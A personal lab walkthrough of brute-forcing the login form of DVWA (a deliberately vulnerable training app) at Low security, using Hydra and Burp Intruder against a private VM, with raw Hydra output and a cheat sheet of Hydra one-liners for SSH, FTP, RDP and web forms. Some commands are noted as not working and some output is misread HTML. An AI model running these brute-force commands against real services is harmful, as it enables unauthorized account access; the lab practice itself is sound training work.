

DVWA Brute Force (Low Security) – Full Walkthrough & Recap

Objective:

Gain access to the **DVWA login-protected area** by brute-forcing valid credentials through the **Brute Force** module, with security level set to **Low**.

Environment Setup

- **Target IP:** 10.10.10.20
 - **App:** DVWA (Damn Vulnerable Web Application)
 - **Security Level:** Low
 - **Accessed via:** `http://10.10.10.20/dvwa/vulnerabilities/brute/`
 - **Attacker System:** Ubuntu (local VM with tools installed)
-

Tools Used

Tool	Purpose
Burp Suite Community	Manual login attempts, request analysis, brute force testing
Hydra	Automated CLI brute force tool
Wordlists	/usr/share/wordlists/rockyou.txt, Xato's 10M password list

Step-by-Step Attack Breakdown

Step 1: Login to DVWA

- Default credentials worked:
 - **Username:** admin
 - **Password:** password
 - Navigated to the **DVWA Security** tab → Set security level to **Low**
-

Step 2: Identified the Login Mechanism

- Navigated to:
`http://10.10.10.20/dvwa/vulnerabilities/brute/`
- Observed a login form taking:
 - username
 - password

- Using **Burp Proxy**, captured the request and confirmed:
 - Method: GET
 - Example request:
 - GET /dvwa/vulnerabilities/brute/?username=admin&password=wrong&Login=Login
-

✓ Step 3: Manual Testing via Browser

- Tested wrong creds: got failure message Username and/or password incorrect.
 - This string became our **hydra failure condition**
-

🔄 Attempted Attack 1: Hydra with `http-post-form` ✗

```
hydra -l admin -P wordlist.txt 10.10.10.20 http-post-form  
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Login failed"
```

Issue:

- DVWA Low uses **GET**, not POST → All attempts failed.
 - Hydra output returned HTML responses instead of clear login results.
-

✓ Working Attack: Hydra with `http-get-form`

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.20 http-get-form  
"/dvwa/vulnerabilities/brute/?username=admin&password=^PASS^&Login=Login:Username and/or  
password incorrect."
```

- I did not get this to work – used burp
 - ~~Hydra clearly returned the working login:~~
 - ~~login: admin password: password~~
-

✓ Parallel Attack: Burp Suite Intruder

- Sent GET request to Intruder
 - Marked `password=$value$` as payload position
 - Loaded small password list
 - **Grep match** used for Username and/or password incorrect.
 - **Response length** helped identify valid login:
 - Failed responses: Length = 5113
 - **Successful response:** Length = 5156 (password: password)
-

📸 [See screenshots below for user review only.]

✓ Final Result:

Field Value

Username admin

Password password

Successfully logged in manually at:

<http://10.10.10.20/dvwa/login.php>

📌 Lessons Learned:

- Always inspect the HTTP method — GET vs POST matters for Hydra modules.
- Use Burp Intruder for clear visual analysis and response size comparisons.
- Hydra struggles when failure strings aren't specific — Burp helps debug that fast.
- DVWA Low doesn't need session cookies or CSRF handling (unlike Medium/High).

```
dubz@ubuntu-gui:~/ctf/dvwa$ cat notes
Wordlist Path
dubz@ubuntu-gui:~/ctf/dvwa$ hydra -l admin -P /usr/share/wordlist/xato-net-10-million-passwords-1000000.txt 10.10.10.20 http-post-form "/dvwa/vulnerabilities/brute/:username^USER
:&password^PASS^&Login=Login:Login failed"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-14 20:14:53
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1701 login tries (l:/p:1701), ~107 tries per task
[DATA] attacking http-post-form://10.10.10.20:dvwa/vulnerabilities/brute/:username^USER:&password^PASS^&Login=Login:Login failed
[80][http-post-form] host: 10.10.10.20 login: admin password: <link rel="dns-prefetch" href="https://avatars.githubusercontent.com">
[80][http-post-form] host: 10.10.10.20 login: admin password: <link rel="dns-prefetch" href="https://github.githubassets.com">
[80][http-post-form] host: 10.10.10.20 login: admin password: <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com">
[80][http-post-form] host: 10.10.10.20 login: admin password: <html>
[80][http-post-form] host: 10.10.10.20 login: admin password: lang="en"
[80][http-post-form] host: 10.10.10.20 login: admin password: data-a11y-animated-images="system" data-a11y-link-underlines="true"
[80][http-post-form] host: 10.10.10.20 login: admin password: >
[80][http-post-form] host: 10.10.10.20 login: admin password: <head>
[80][http-post-form] host: 10.10.10.20 login: admin password: <meta charset="utf-8">
[80][http-post-form] host: 10.10.10.20 login: admin password: <!DOCTYPE html>
[80][http-post-form] host: 10.10.10.20 login: admin password: <data-color-mode="auto" data-light-theme="light" data-dark-theme="dark">
[80][http-post-form] host: 10.10.10.20 login: admin password: <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
[80][http-post-form] host: 10.10.10.20 login: admin password: <link rel="preconnect" href="https://github.githubassets.com" crossorigin>
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-14 20:14:54
dubz@ubuntu-gui:~/ctf/dvwa$
```

The screenshot shows a web-based CTF tool interface. On the left, there's a sidebar with categories like 'Recon Cheats' (Nmap, FFUF, Gobuster, Dirsearch), 'Brute/Crack' (Hydra, John the Ripper), 'Resources/Links' (Links, Sandbox, JS Crypto Sandbox), and 'Sandbox'. The main area is titled 'CTF Cheat Dashboard' and contains sections for 'Recon Cheats' and 'Hydra Cheats'. The 'Hydra Cheats' section displays various command examples for different protocols. A red box highlights the 'Hydra' link in the sidebar and the 'Open raw .txt version' link below the command examples. The entire page has a dark theme with green highlights.

Hydra Cheats

```
# SSH brute force
hydra -L root -P rockyou.txt ssh://TARGET

# HTTP POST form
hydra -L admin -P passlist.txt TARGET http-post-form "/login.php:user=""USER""&pass=""PASS"":F=Invalid login"

# FTP brute force
hydra -L users.txt -P pass.txt ftp://TARGET

# RDP brute (Windows)
hydra -t 4 -V -f -L admin -P pass.txt rdp://TARGET
```

[Open raw .txt version](#)

This screenshot shows the raw text version of the Hydra cheat commands from the previous screen. The text is identical to the one above, but the 'Open raw .txt version' link is now highlighted with a red box. A red box also highlights the 'Remove this wordlist' button at the top right of the text area. The interface includes language selection (Maltese, English) and a browser header with tabs for DVWA Security:: Damn, Home Lab Dashboard, Cheat Panel—CTF Tool, and the current page.

Remove this wordlist

```
# SSH brute force
hydra -L root -P rockyou.txt ssh://TARGET

# HTTP POST form
hydra -L admin -P passlist.txt TARGET http-post-form "/login.php:user=""USER""&pass=""PASS"":F=Invalid login"

# FTP brute force
hydra -L users.txt -P pass.txt ftp://TARGET

# RDP brute (Windows)
hydra -t 4 -V -f -L admin -P pass.txt rdp://TARGET

# Syntax: DVWA Lab
hydra -L admin -P /usr/share/wordlists/xato-net-10-million-passwords-1000000.txt 10.10.10.20 http-get-form "/dvwa/vulnerabilities/brute/?username=admin&password=""PASS""&Login=Login:Username and/or password incorrect."
```

Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass

Vulnerability: Brute Force

Login

Username:

Password:

Welcome to the password protected area admin



More Information

- https://owasp.org/www-community/attacks/Brute_force_attack
- <https://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password>
- <https://www.golinuxcloud.com/brute-force-attack-web-forms>